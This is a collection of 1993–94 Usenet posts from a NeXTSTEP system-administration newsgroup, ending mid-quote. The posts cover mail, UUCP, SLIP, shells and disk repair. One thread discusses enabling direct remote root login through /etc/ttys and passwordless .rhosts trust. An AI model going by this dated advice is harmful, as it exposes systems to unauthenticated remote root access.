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From: fahnoe@c1mpls.mn.org (Larry Fahnoe)
Subject: Re: cnews mailpaths file
Message-ID: <CIv5s2.HL@c1mpls.mn.org>
Organization: Cellular One, Minneapolis
References: <1993Dec30.025531.3889@freemansoft.com>
Distribution: usa
Date: Thu, 30 Dec 1993 19:50:25 GMT
In article <1993Dec30.025531.3889@freemansoft.com>,
Joe Freeman <joe@FreemanSoft.com> wrote:
>I've got a small problem where NewsGrazer can't post properly to moderated
>groups. It doesn't know the moderator addresses.
>
>I would imagine the problem is in the mailpaths file. Our connection is
>currently over UUCP to a machine called concert. Could someone give me an
>idea of what my mailpaths file should look like?
If you have mail set up such that domain style addresses work:
all %s@uunet.uu.net
otherwise:
all concert!uunet.uu.net!%s
which of course assumes that ``concert'' knows how to reach uunet.
--Larry
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From: jblue@ocotillo.mitre.org (Jason D. Blue)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: UPS and NSI 3.2
Date: 30 Dec 1993 22:17:12 GMT
Organization: The MITRE Corporation
Message-ID: <2fvk18$pbi@newsflash.mitre.org>
References: <2fuoo8$ids@newsflash.mitre.org>
Sorry about that ***OUCH*** 900K posting. I got several responses to my
original note about PowerGuardian, so I though the information would benefit
you'll. However, I didn't relize how big it would turn out to be: I forgot
how uuencode increases file sizes by a factor of 4 to infinity :-) (the
original tiffs where only 49K).
Jason
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From: uunet!molly!vlcek (Jim Vlcek)
Subject: Re: cnews mailpaths file
Message-ID: <CIuLHr.BJD@molly.uucp>
Sender: vlcek@molly.uucp (James Vlcek)
Organization: The Black Box of Lowertown
References: <1993Dec30.025531.3889@FreemanSoft.com>
Distribution: usa
Date: Thu, 30 Dec 1993 12:32:14 GMT
Joe Freeman writes
> I've got a small problem where NewsGrazer can't post properly to moderated
> groups. It doesn't know the moderator addresses.
>
> I would imagine the problem is in the mailpaths file. Our connection is
> currently over UUCP to a machine called concert. Could someone give me an
> idea of what my mailpaths file should look like?
mailpaths should direct postings to moderated groups to a backbone site which
knows how to deal with them. This way, you don't have to maintain a listing
of moderater addresses at your own site.
Since my system connects directly to uunet, a Usenet backbone site, my
mailpaths file looks like:
all uunet!%s
I don't know the exact path from your site to a backbone site, but your
mailpaths should look something like:
all concert!foo!bar!baz!backbone!%s
where "backbone" could be uunet or some other Usenet backbone site.
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From: shuque@spectre.sas.upenn.edu (Shumon Huque)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: making tcsh default shell for users
Date: 31 Dec 1993 02:56:39 GMT
Organization: University of Pennsylvania
Message-ID: <2g04d7$nht@netnews.upenn.edu>
References: <1993Dec30.205738.20788@cs.yale.edu>
In article <1993Dec30.205738.20788@cs.yale.edu> nathan@laplace.csb.yale.edu writes:
>It seems that changing the passwd entries doesn't do a thing to change
>user shells. Terminal.app has it's own defaults which include the
>shell.
>
Thats curious. On my 3.0 machine, Terminal.app picks up the default
shell from the passwd file entry, and "dread -o Terminal" doesnt show
any Shell variable defined, unless I specifically enter Preferences
and define it.
>How can I change all user accounts over to tcsh?
>
If you have to, I would write a script that changes every users
Terminal->Shell variable to be tcsh. Something like the following
(must run as root obviously):
#!/bin/sh
#
for username in `niutil -list / /users | awk '{print $2}'`
do
/bin/su $username -c "dwrite Terminal Shell /usr/local/bin/tcsh"
done
(untested)
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: news.software.b,comp.sys.next.sysadmin
Subject: Re: Anyone compiled INN on NeXTSTEP Intel 3.2?
Date: 28 Dec 1993 10:44:10 +0100
Organization: Palumbian Research Labs
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westes@netcom.com (Will Estes) writes:
>Has anyone compiled INN on NeXTSTEP for Intel 3.2? If yes, is there
>an ftp site for it?
A NeXTSTEP 3.2 adapted version can be found on ftp.uni-stuttgart.de,
/pub/systems/next/Sources. If I remember right I included FAT binaries
in the archive.
Regards,
Markus.
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From: gisli@liapunov.eecs.umich.edu (Gisli Ottarsson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: making tcsh default shell for users
Date: 31 Dec 1993 05:05:21 GMT
Organization: University of Michigan
Message-ID: <GISLI.93Dec31000521@liapunov.eecs.umich.edu>
References: <1993Dec30.205738.20788@cs.yale.edu>
In-reply-to: nathan@laplace.csb.yale.edu's message of Thu, 30 Dec 1993 20:57:38 GMT
>>>>> On Thu, 30 Dec 1993 20:57:38 GMT, nathan@laplace.csb.yale.edu (Nathan F. Janette) said:
NFJ> How can I change all user accounts over to tcsh?
Why, if you are decomissioning the csh, wouldn't a simple
lrwxr-xr-x 1 root 19 Dec 30 23:57 /bin/csh -> /usr/local/bin/tcsh*@
do nicely? A no-no I guess.
Gisli
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From: an602@cleveland.Freenet.Edu (James M. Bernatowicz)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: UUCP Problem
Date: 31 Dec 1993 06:31:08 GMT
Organization: Case Western Reserve University, Cleveland, OH (USA)
Message-ID: <2g0gvc$5sq@usenet.INS.CWRU.Edu>
References: <westesCIBC25.Jo@netcom.com> <CICJ31.Gx@nexus.uucp>
In a previous article, dave@alembicla.com (David W. Fahrney) says:
>In article <westesCIBC25.Jo@netcom.com> westes@netcom.com (Will Estes) writes:
[...]
>!> : Muucp, P=/usr/bin/uux, F=msDFMhu, S=13, R=23, E=\n,
>!> : A=uux - $h!rmail ($u)
>!>
>!> : That will elimanate the error message you are getting.
>!>
>!> I had already removed -r. The error is still happening.
>
>Oops! Forgot to also point out the real problem which is the last "U" in the
>"F=msDFMhuU" part of the mailer spec! Try that out. Sorry for the incomplete.
I have noticed the same "can't get working directory. will try to continue"
message appear when I send mail in verbose mode from a shell. I also have
noticed that mail I send from Mail.app to my cleveland.freenet.edu account
does not have the correct carriage control. Each line is displayed,
immediately cleared, and the next line is displayed on the line below.
When I pulled the note into Emacs, I noticed ^M characters at the end of
each line of the message body. Do I need another character, or should the
^M not be there at all? Will the fix outlined above take care of the
"working directory" AND the carriage control problems, or are they unrelated?
Thanks in advance,
Jim Bernatowicz
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From: dbora@ils.nwu.edu (Donald Bora)
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP on NeXT
Date: 31 Dec 1993 22:55:38 GMT
Organization: The Institute for the Learning Sciences
Distribution: world
Message-ID: <2g2ala$9ps@anaxagoras.ils.nwu.edu>
Here it is the new year and I am trying to get slip up and running
on my NEXT once again. I tried this before with surprisingly little
success. I have narrowed the error to the ifconfig command in the
rc.slip file. I get this message when rc.slip is run:
ifconfig: ioctl (SIOCGIFFLAGS): no such interface
Is there any chance that someone out there has run into this problem?
I am just so amazed at how much of a pain in the &#% this is...
I am so used ot the NeXT way of doing things.. I guess I'm spoiled ;)
thanks in advance
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From: richard%runner.uucp@usc.edu (Richard Ruth)
Newsgroups: comp.sys.next.sysadmin
Subject: Screen Brightness not saved in defaults (3.2 - Motorola)
Date: 31 Dec 1993 17:15:10 -0800
Organization: runner
Sender: richard@runner.uucp@usc.edu
Distribution: world
Message-ID: <2g2iqu$o4@runner.uucp>
I just installed (not an upgrade) NeXTSTEP 3.2 on my NeXT Station color. One
problem: The screen brightness set in Preferences or by using the brightness
keys, is not saved. When I log out, the screen is back to the default - very
bright. It stays very bright when I log back in. This happens in user and
root accounts.
How do I save the screen brightness?
Thanks
--
Richard
richard%runner.uucp@usc.edu
(ok to send NeXT Mail)
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From: corby@netcom.com (Corby Anderson)
Subject: HELP! My superblock is corrupt!
Message-ID: <corbyCIxuL1.9KM@netcom.com>
Organization: Fight organized crime. Abolish the IRS.
Date: Sat, 1 Jan 1994 06:41:24 GMT
I've been trying to work out some problems with an external tape unit
and termination, and in the course of my travails, my NS486(3.1) system
would get "AHA timeout" messages during the boot process. The timeouts
(from Adaptech Host Adapter) would occasionally occur at some critical
point which would require rebooting and scanning the entire (1.3 gig)
disk for corrupt blocks. Until this afternoon, that approach has
worked well.
This afternoon I used the same approach, but I am now unable to boot
because it says my superblock is bad. It gives me a number which
may be an error number or an i-node: 54190100. Does that ring
a bell with anyone?
I also get a couple error messages in English which are undoubtedly
related to the superblock problem. Something about not being able to
find:
/usr/Devices/System.config/Instance0.table
and
/usr/Devices/System.config/Default.table
Can anyone lend a hand?
Thanks,
Corby Anderson
corby@netcom.com
From: karthy@dannug.dk (Karsten Thygesen)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: automount
Date: 01 Jan 1994 13:50:38 GMT
Organization: Dannug - Danish NeXT Users Group
Message-ID: <KARTHY.94Jan1145038@dannug.dannug.dk>
References: <9312221552.AA09246@dcs.shef.ac.uk>
In-reply-to: M.Crawford@dcs.shef.ac.uk's message of 22 Dec 1993 09:52:04 -0600
>>>>> "Malcolm" == Malcolm Crawford <M.Crawford@dcs.shef.ac.uk> writes:
In article <9312221552.AA09246@dcs.shef.ac.uk> M.Crawford@dcs.shef.ac.uk (Malcolm Crawford) writes:
Malcolm> Our network is shortly due to switch to using automouting.
Malcolm> In tests this seems to work fine (although the & syntax
Malcolm> appears not to be supported...?) except that, in File Viewer,
Malcolm> only the user's home directory and any others that happen to
Malcolm> have an entry somewhere on the shelf are accessible. There
Malcolm> seems to be no way of "graphically" (i.e. from Workspace)
Malcolm> automounting a new directory.
Malcolm> The workarounds seem to be (a) to ensure that there is an
Malcolm> appropriate entry on all users' shelves (b) in not (a), open
Malcolm> Terminal, cd to the appropriate directory, which
Malcolm> is then automounted, then go back and select it in File
Malcolm> Viewer...
Malcolm> These are *just about* OK for experienced Unix-savvy users,
Malcolm> but a bit messy for novices. Has anybody any alternatives?
If the unmounted location is an users homedirectory, then I use the
finder-tool (Cmd-f) and then type ~user to "jump" to the invisible
place. It works fine, but if you are searching for a package
automounted in for instance /LocalApps, then this will not work. I
don't know of any hint to that....
Regards,
Karsten.
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From: Robert_La_Ferla@hot.com
Subject: Re: HELP! My superblock is corrupt!
Message-ID: <1994Jan1.115418.18791@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <corbyCIxuL1.9KM@netcom.com>
Date: Sat, 1 Jan 1994 11:54:18 GMT
Look at the -b option of fsck (file system consistency check and
interactive repair). You'll need to boot standalone from another
disk to do this.
From the fsck man page:
-b Use the block specified immediately after the flag as
the super block for the file system. Block 16 is
always an alternate super block.
Robert La Ferla
Hot Technologies
In article <corbyCIxuL1.9KM@netcom.com> corby@netcom.com (Corby
Anderson) writes:
> I've been trying to work out some problems with an external tape
unit
> and termination, and in the course of my travails, my NS486(3.1)
system
> would get "AHA timeout" messages during the boot process. The
timeouts
> (from Adaptech Host Adapter) would occasionally occur at some
critical
> point which would require rebooting and scanning the entire (1.3
gig)
> disk for corrupt blocks. Until this afternoon, that approach has
> worked well.
>
> This afternoon I used the same approach, but I am now unable to
boot
> because it says my superblock is bad. It gives me a number which
> may be an error number or an i-node: 54190100. Does that ring
> a bell with anyone?
>
> I also get a couple error messages in English which are undoubtedly
> related to the superblock problem. Something about not being able
to
> find:
> /usr/Devices/System.config/Instance0.table
> and
> /usr/Devices/System.config/Default.table
>
> Can anyone lend a hand?
>
> Thanks,
> Corby Anderson
> corby@netcom.com
>
From: ivo@next.agsm.ucla.edu (Ivo Welch)
Newsgroups: comp.sys.next.sysadmin
Subject: more frequent "update"'s?
Date: 1 Jan 1994 20:02:09 GMT
Organization: UCLA Microcomputer Support Office
Message-ID: <2g4ks2$4f0@news.mic.ucla.edu>
I am wondering if I can increase the 30 second clock on /usr/etc/update's
execution of sync. (Yes, I am worried about system crashes; just had another
set resulting from copying files from the NS partition to the DOS
partition.)
The manual seems to suggest that a cron script that executed "sync" every 30
seconds would be a perfect alternative. Is it?
Another alternative would be to patch /usr/etc/update. Has anyone done this
on NS/Intel 3.2?
Ivo Welch ivo@128.97.74.50 = next.agsm.ucla.edu
Asst Prof of Finance iwelch@agsm.ucla.edu
AGSM at UCLA
From: ouija@access2.digex.net (Mark E. Harris)
Newsgroups: comp.sys.next.sysadmin
Subject: TIP problems
Date: 1 Jan 1994 17:52:44 -0500
Organization: Express Access Online Communications, Greenbelt, MD USA
Message-ID: <2g4urs$g5k@access2.digex.net>
I am trying to use 'tip' on my Intel system to dial out to a Sun
machine, and running into a couple of problems.
The main one: the connection is established OK, and I get all
of the text from the login shell just fine. I enter my user ID,
press return, and the cursor goes to the next line just like it's
supposed to. Then I enter my password, hit return, and the shell
appears to wait forever, just as if I had never hit return.
Eventually it will time out, or tell me my password is invalid if
I try to force the issue by hitting ^J or something else. What
could cause this? I know there is nothing wrong with the remote
machine, because I if I use all the same hardware under DOS <sigh>,
I can log on successfully. Are there stty things that I must do
at my end?
In a seemingly unrelated problem, I can't make tip autodial,
either. The modem blinks as something is sent to it, but I can't
see what's getting sent. Whatever it is, it's not a valid Hayes
string.
Has anyone else wrestled with these problems? I'd like to
ditch the last of my DOS software, but until I can dial out I'm
stuck with it :-(
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Mark E. Harris
Logicon Operating Systems
Arlington, VA
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Failed to config a mail server (Q)
Date: 31 Dec 1993 10:00:14 +0100
Organization: Palumbian Research Labs
Message-ID: <2g0pmu$11p@marsu.tynet.sub.org>
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skwong@cuse1.se.cuhk.hk (Wong Sai Kee (Graduate Assistant)) writes:
>I am a new NeXT user. I had hooked my NeXT to the dept's LAN and want
>to config it to receive NeXTmail. Since the NeXT is my own machine, the
>dept's server won't serve me. So, I was going to config the NeXT to act
>as a mail server.
>I ran HostManager, added the host name aliases and saved it. When I
>re-open the record. The alias always disappeared. That is, I can't add
>the alias "mailhost" to it.
I noticed this, too. The solution is to add "mailhost" in NetInfoManager :-)
Be sure to use the right sendmail.cf in /etc/sendmail.
Regards,
Markus.
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From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: more frequent "update"'s?
Message-ID: <1994Jan2.043138.26455@csus.edu>
Summary: Fix the problems, not the symptoms
Sender: news@csus.edu
Organization: San Francisco State University
References: <2g4ks2$4f0@news.mic.ucla.edu>
Date: Sun, 2 Jan 1994 04:31:38 GMT
In article <2g4ks2$4f0@news.mic.ucla.edu> ivo@next.agsm.ucla.edu
(Ivo Welch) writes:
>I am wondering if I can increase the 30 second clock on /usr/etc/update's
>execution of sync.
I'm not convinced there's any real advantage to this.
> (Yes, I am worried about system crashes; just had another
>set resulting from copying files from the NS partition to the DOS
>partition.)
Naive response: "better it shouldn't crash"
Perhaps future NEXTSTEP Releases will make panic handling more
flexible, offering a a choice between "leave things the way they
are" for the benefit of kernel hackers, and "save my butt!" for
everyone else. The most common case where "save my butt!" isn't
possible is power failure (or intentional reset).
<digression>
This is just another example of how NeXT is driven by Marketing
considerations (loosely correlated with increased profits) rather
than The Pursuit of Technical Excellence. Graceful crash
recovery isn't a priority; it's not something a sales weasel--or
Steve in front of an audience of several thousand--wants to
demonstrate to a customer*.
*While there is _some_ "fault tolerant" software out there, only
hardware-oriented people really seem to have developed a serious
appreciation for the concept. Since NeXT got out of the hardware
business, I don't hold out much hope for attitude adjustment any
time soon.
<end digression>
>The manual seems to suggest that a cron script that executed "sync" every 30
>seconds would be a perfect alternative. Is it?
No. update does *three* things:
(1) holds references to a half-dozen "commonly used" directories
(2) executes sync(2) every 30 seconds
(3) Beginning with NS 3.0: after 10 minutes, and every hour
thereafter, makes calls to the secret undocumented gc_control(2)
>Another alternative would be to patch /usr/etc/update. Has anyone done this
>on NS/Intel 3.2?
No one here has. (no smiley)
As for why update doesn't offer some convenient way to override
its compiled-in parameters, you'll have to ask NeXT.
-=EPS=-
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Failed to config a mail server (Q)
Message-ID: <1994Jan2.103557.1446@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <2g0pmu$11p@marsu.tynet.sub.org>
Date: Sun, 2 Jan 1994 10:35:57 GMT
In article <2g0pmu$11p@marsu.tynet.sub.org> mow@marsu.tynet.sub.org
(Markus Wenzel) writes:
> I noticed this, too. The solution is to add "mailhost" in NetInfoManager
It's a bug in HostManager; it is even fixed in 3.2 :-).
With the introduction of SimpleNetworkStarter, NeXT added in some new
NetInfo features, so that you can do more things in NetInfo, without
having to log on to every machine in a network to change some simple
configuration parameters. Sendmail configuration is one of these.
I wouldn't normally post about this, but I have noticed some "gurus" who
still haven't discovered this.
Create a new directory in locations (yes, in NetInfo) called "sendmail".
Give it the following properties:
sendmail.cf /etc/sendmail/sendmail.sharedsubsidiary.cf
mailhost server1
You can set this in the root domain, and override it in the local domain
on each mailhost that you run.
SNS has a few extra netinfo properties that it creates; does anyone know
if these are documented somewhere, or what these properties are and do?
Paul
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Subject: Allowing remote root login
Message-ID: <1994Jan2.143713.148497@embl-heidelberg.de>
From: grindrod@eagle.NMR.EMBL-Heidelberg.DE (David Grindrod)
Date: 2 Jan 94 14:37:13 +0100
Distribution: world
Organization: European Molecular Biology Laboratory
Keywords: root login
Does anyone know how to get around the no root login on NeXT machines I would must rather have remote accees to root through a remote login or telnet. I have to maintain my NeXT cluster from other machines normally and in order to get in as root, I have to login first as me and then su in as root. Is there a file I can change which will allow me to login as root.
Dave
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From: jimbo@oingo.umn.edu
Subject: Mach doesn't use FSL correct
Message-ID: <CJ0oq9.Lyy@news2.cis.umn.edu>
Sender: news@news2.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
Date: Sun, 2 Jan 1994 19:21:16 GMT
When I was in college I wrote a basic virtual memory OS, in which
I maintained an FSL (Free Space List). When pages of memory became
free, they were added to the memory pool and re-used. On the NeXT
however, My "Virtual Memory" dwindles down to nothing and doesn't
re-plenish itself even when I close all my apps. This to me seems
down right stupid. I end up re-booting my machine as often or more
than I do my PC/Windows system. Yuk!
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From: irving@Happy-Man.com (Irving_Wolfe)
Subject: Re: TIP problems
Message-ID: <1994Jan2.201814.12981@Happy-Man.com>
Organization: Happy Man Corp, 4410 Pt Robinson, Vashon, WA 98070 206/463-9399
References: <2g4urs$g5k@access2.digex.net>
Date: Sun, 2 Jan 1994 20:18:14 GMT
In <2g4urs$g5k@access2.digex.net> ouija@access2.digex.net (Mark E. Harris) writes:
> I am trying to use 'tip' on my Intel system to dial out to a Sun
>I enter my user ID,
>press return, and the cursor goes to the next line just like it's
>supposed to. Then I enter my password, hit return, and the shell
>appears to wait forever, just as if I had never hit return.
This sounds like a parity problem. Here's a copy of my .tiprc
file:
parity=none
raisechar=\377
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From: jmh@info.polymtl.ca (Jean-Marc Heneman)
Subject: Add an HP500 + Ghostscript
Message-ID: <1994Jan2.210229.5648@vlsi.polymtl.ca>
Sender: news@vlsi.polymtl.ca (USENET News System)
Organization: Ecole Polytechnique de Montreal
Date: Sun, 2 Jan 1994 21:02:29 GMT
I want to print from NSFIP3.2 to an HP500 (parallel port) with ghostscript.
First I added an unknown printer as Local_Printer then set TextPassThrough
to YES with NetInfoManager for this printer. When I test this setup with
lpr asciifile, the HP500 showed one diamond at the beginning of the text and
at the end of the text... (I know it's a kind of reset (^D) for postsript
printer, but with TextPassThrough to YES, why these appear?)
Now, after a succesful test with ghostscript on the HP500 on a term
(sure I had the diamond at the end and beginning but I know it is not
ghostscript :-)), how
I can add these filter to integrate ghostscript to the NS interface thru the
print menu?
(all I want to add is : | gs -sDEVICE=djet500 - | for the Local_printer)
Any hint for the diamond problem and how to integrate the filter?
thanks
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Allowing remote root login
Message-ID: <1994Jan2.221010.1405@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <1994Jan2.143713.148497@embl-heidelberg.de>
Date: Sun, 2 Jan 1994 22:10:10 GMT
In article <1994Jan2.143713.148497@embl-heidelberg.de> writes:
> Does anyone know how to get around the no root login on NeXT machines I
would must rather have remote accees to root through a remote login or
telnet. I have to maintain my NeXT cluster from other machines normally
and in order to get in as root, I have to login first as me and then su in
as root. Is there a file I can change which will allow me to login as
root.
It is a bit of a security exposure. If you are concerned about security,
then you should remove the me account on each machine from the wheel
group, as it is rather tempting.
If you still want to login in directly as root, you might want to look at
the secure parameter that goes in /etc/ttys. It is always possible that
some other blocking is taking place, but I don't think so.
Paul
--
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Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: yf5990@u.cc.utah.edu (Yan Fang)
Newsgroups: comp.sys.next.sysadmin
Subject: Apps hang during SLIP connection
Date: 2 Jan 1994 16:51:42 -0700
Organization: University of Utah Computer Center, Salt Lake City, Ut.
Message-ID: <2g7mme$sje@u.cc.utah.edu>
I've hit a showstopper with SLIP.
Since Friday night, when the University of Utah nameserver began
advertising Alpine's network, I've had problems running nearly every
piece of software on my slab during a SLIP connection.
After PNI negotiates a connection to the U.'s cisco terminal
server and begins the SLIP connection, netstat, telnet, ftp hang. If
I escape from enough of these hanging processes, then everything else
like Edit.app, Preview.app, etc., will also hang.
The only way things will unhang is if I kill the SLIP connection. Then
after about 30 seconds or so, all the hung processes will cascade into
operation.
I've checked and rechecked all the obvious things, and now I'm thinking
about more subtle things. Here's what I know:
1) My local and remote IP addresses, assigned to me by the U. of U., are
entered correctly.
2) If I try to use the default method of initiating a SLIP
connection--where the U. will assign me an IP number--I get the same
results.
3) My resolv.conf contains the correct IP numbers for my nameservers.
4) Telnet, FTP, etc., hang whether I use a domain name or an IP number
as a parameter.
5) I have blown away my netinfo database and am using a fresh copy from
/usr/template/client/etc/netinfo. The same goes for /etc/hostconfig.
6) In HostManager I have entered the "correct" IP number that I was assigned.
I've also tried other IP numbers with same results.
7) I am not NFS-mounting anything over any network interface.
8) This problem began right around the same time the U. began
advertising Alpine to the Internet. However, this could be a "after the
fact, therefore because of the fact" symptom of something else.
9) The cisco terminal server makes this complaint:
"Too many interfaces on subnet 198.60.29.0". Here is a copy of my
routing table:
Routing tables
Destination Gateway Flags Refs Use Interface
198.60.29.1 localhost UH 0 0 pni0
localhost localhost UH 0 465 lo0
default 198.60.29.1 UG 0 42 pni0
198.60.29 198.60.29.2 U 4 3217 en0
10) Both PNI and DialupIP show the same behavior.
I am really stuck here. Any advice, cogent or no, would be appreciated.
gracias,
\kris
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From: jmack@skye.phys.ualberta.ca
Subject: Re: Apps hang during SLIP connection
Message-ID: <1994Jan3.033201.8408@kakwa.ucs.ualberta.ca>
Keywords: slip
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <2g7mme$sje@u.cc.utah.edu>
Date: Mon, 3 Jan 1994 03:32:01 GMT
In article <2g7mme$sje@u.cc.utah.edu> yf5990@u.cc.utah.edu (Yan Fang) writes:
..
> "Too many interfaces on subnet 198.60.29.0". Here is a copy of my
> routing table:
>
> Routing tables
> Destination Gateway Flags Refs Use Interface
> 198.60.29.1 localhost UH 0 0 pni0
> localhost localhost UH 0 465 lo0
> default 198.60.29.1 UG 0 42 pni0
> 198.60.29 198.60.29.2 U 4 3217 en0
>
> 10) Both PNI and DialupIP show the same behavior.
>
> I am really stuck here. Any advice, cogent or no, would be appreciated.
>
> gracias,
> \kris
>
Try disabling your en0. Looks like you have no loopback for it to work
anyway. The routing entry for it ought to have a localhost link. But
from the look of the error, there might be another 198.60.29.2 on that
subnet. All of your apps are likely hanging because nmserver is trying
to push it through en0 instead of pni0, and there is no route for it at
all.
--
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Computing/Networking Phone : (403) 492-8226
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From: dave@guinness.huma.yorku.ca (David Aspinall)
Subject: Sendmail alias inclusion
Message-ID: <CJ1CE1.MCH@newshub.ccs.yorku.ca>
Sender: news@newshub.ccs.yorku.ca (USENET News System)
Organization: York University, Humanities Department
Date: Mon, 3 Jan 1994 03:58:49 GMT
I would like to set my sendmail configuration up so that my reply
to address appears like David_Aspinall@huma.yorku.ca
I look through the old FAQ, and NeXT Answers, and although they
discribe the solution, it is written for 2.0 and I know that Next
upgraded sendmail for 3.x I don't want to upgrade to a new sendmail
because I know that someone else will have to support the configuration
after I graduate, but I could definitely justify some sendmail.cf changes
and some scripts.
SO, does anyone have any advice for me? A good book on sendmail?
A solution I can play with?
Thanks in advance
David
--
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From: joe@retina.anatomy.upenn.edu (Joe Panico)
Newsgroups: comp.sys.next.sysadmin
Subject: Suggestions for NSI pc LAN hardware/software?
Date: 3 Jan 1994 04:06:55 GMT
Organization: Dept. of Neuroscience, U. of Pennsylvania
Distribution: world
Message-ID: <2g85kv$15i@netnews.upenn.edu>
Hi,
I have two DECpc MTEs running NSI 3.2. I want to form a LAN with ONLY
these two computers, but have no experience with NeXT networking.
One of the machines will run an SQL server, which should be accessible
over the LAN to clients running on the other NeXTpc. Any suggestions
for LAN hardware/software combinations to achieve this are appreciated.
Thanks.
Joe Panico
joe@retina.anatomy.upenn.edu
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From: shayman@Objectario.com (Steve Hayman)
Subject: Re: Questions on NS 3.2 rmail
Message-ID: <1994Jan3.052202.3134@objectario.com>
Sender: shayman@objectario.com
Organization: Steve Hayman + Associates / NeXTSTEP Consulting / Toronto
References: <westesCIoEtI.FDD@netcom.com>
Date: Mon, 3 Jan 1994 05:22:02 GMT
In article <westesCIoEtI.FDD@netcom.com> westes@netcom.com (Will Estes) writes:
> 1) The man pages for rmail claim there is a bug in it that requires
> you to not run rmail in /bin.
The man page says
BUGS
Rmail should not reside in /bin.
I think it's not really a "bug"; it's just that /bin is a dumb
place for a command like "rmail" that isn't intended to be executed
directly by users. (rmail is something that uucp uses to process
incoming mail. In retrospect, rmail should probably have been installed
in /etc/uucp or something, but a lot of these UUCP design decisions
were made eons ago.)
I'd leave it where it is. If you move it, you'll need to change
/etc/uucp/L.sys so that uucp can find rmail in the new location,
and who knows what else might break.
From: jhj@daimi.aau.dk (Jens Hoerup Jensen)
Newsgroups: comp.sys.next.sysadmin
Subject: Compilation of gdbm - how/where ?
Date: 3 Jan 1994 06:29:57 GMT
Organization: DAIMI, Computer Science Dept. at Aarhus University
Message-ID: <2g8e15$qj@belfort.daimi.aau.dk>
I did not succed in compiling gdbm-1.7 on my black NeXT. How do you compile
the program or where can I obtain it?
Thanks in advance
-- Jens Hoerup
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From: nicolev@number_one.apana.org.au
Subject: accessing man pages in /usr/local/man/man1
Message-ID: <CJ1IAE.2Gw@number_one.apana.org.au>
Sender: nicolev@number_one.apana.org.au (Nicole A Vincent)
Organization: Cafe Seacombe - the Virtual NeXTSTEP Cafe Downunder.
Date: Mon, 3 Jan 1994 06:06:13 GMT
Hi
I've installed the tcsh shell which came with its respective "man" pages
and I put them into the /usr/local/man/man1 directory.
Could someone please enlighten me on how to access these man pages using
the man command as at the moment I just get the message:
number_one 3 > man tcsh
No manual entry for tcsh.
number_one 4 >
Thanx in advance
Regards
Nicole
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From: Robert_La_Ferla@hot.com
Subject: Re: Allowing remote root login
Message-ID: <1994Jan3.043538.21481@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <1994Jan2.221010.1405@seer.demon.co.uk>
Date: Mon, 3 Jan 1994 04:35:38 GMT
Look at the UNIX manual for rlogin:
Each user may also have a
private equivalence list in a file .rhosts in his login
directory. Each line in this file should contain an rhost
and a username separated by a space, giving additional cases
where logins without passwords are to be permitted. If the
originating user is not equivalent to the remote user, then
a login and password will be prompted for on the remote
machine as in login(1). To avoid some security problems,
the .rhosts file must be owned by either the remote user or
root.
Robert La Ferla
Hot Technologies
In article <1994Jan2.221010.1405@seer.demon.co.uk>
paul@seer.demon.co.uk (Paul Lynch) writes:
> In article <1994Jan2.143713.148497@embl-heidelberg.de> writes:
> > Does anyone know how to get around the no root login on NeXT
machines I
> would must rather have remote accees to root through a remote login
or
> telnet. I have to maintain my NeXT cluster from other machines
normally
> and in order to get in as root, I have to login first as me and
then su in
> as root. Is there a file I can change which will allow me to login
as
> root.
>
> It is a bit of a security exposure. If you are concerned about
security,
> then you should remove the me account on each machine from the
wheel
> group, as it is rather tempting.
>
> If you still want to login in directly as root, you might want to
look at
> the secure parameter that goes in /etc/ttys. It is always possible
that
> some other blocking is taking place, but I don't think so.
>
> Paul
> --
> Paul Lynch
> P & L Systems (NeXTmail) paul@seer.demon.co.uk
> Tel: (0494)671501 9 Stable Lane, Seer Green,
> Fax: (0494)680228 Bucks, HP9 2YT, UK
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Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 3 Jan 1994 01:35:26 -0500
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From: shuque@spectre.sas.upenn.edu (Shumon Huque)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: accessing man pages in /usr/local/man/man1
Message-ID: <2g9atd$b6f@netnews.upenn.edu>
Date: 3 Jan 94 14:42:53 GMT
References: <CJ1IAE.2Gw@number_one.apana.org.au>
Organization: University of Pennsylvania
In article <CJ1IAE.2Gw@number_one.apana.org.au> nicolev@number_one.apana.org.au writes:
>I've installed the tcsh shell which came with its respective "man" pages
>and I put them into the /usr/local/man/man1 directory.
>
>Could someone please enlighten me on how to access these man pages using
>the man command as at the moment I just get the message:
>
>number_one 3 > man tcsh
>No manual entry for tcsh.
>number_one 4 >
>
You need to set the value of the MANPATH environment variable
appropriately (ie. include the additional location of manpages:
/usr/local/man).
I would suggest inserting the following into your .login or .cshrc
file:
setenv MANPATH ${HOME}/man:/usr/man:/usr/local/man
--Shumon.
From: shuque@spectre.sas.upenn.edu (Shumon Huque)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Allowing remote root login
Message-ID: <2g9bcd$bja@netnews.upenn.edu>
Date: 3 Jan 94 14:50:53 GMT
References: <1994Jan2.221010.1405@seer.demon.co.uk> <1994Jan3.043538.21481@hot.com>
Organization: University of Pennsylvania
In article <1994Jan3.043538.21481@hot.com> Robert_La_Ferla@hot.com writes:
>Look at the UNIX manual for rlogin:
>
> Each user may also have a
> private equivalence list in a file .rhosts in his login
> directory. Each line in this file should contain an rhost
> and a username separated by a space, giving additional cases
> where logins without passwords are to be permitted. If the
> originating user is not equivalent to the remote user, then
> a login and password will be prompted for on the remote
> machine as in login(1). To avoid some security problems,
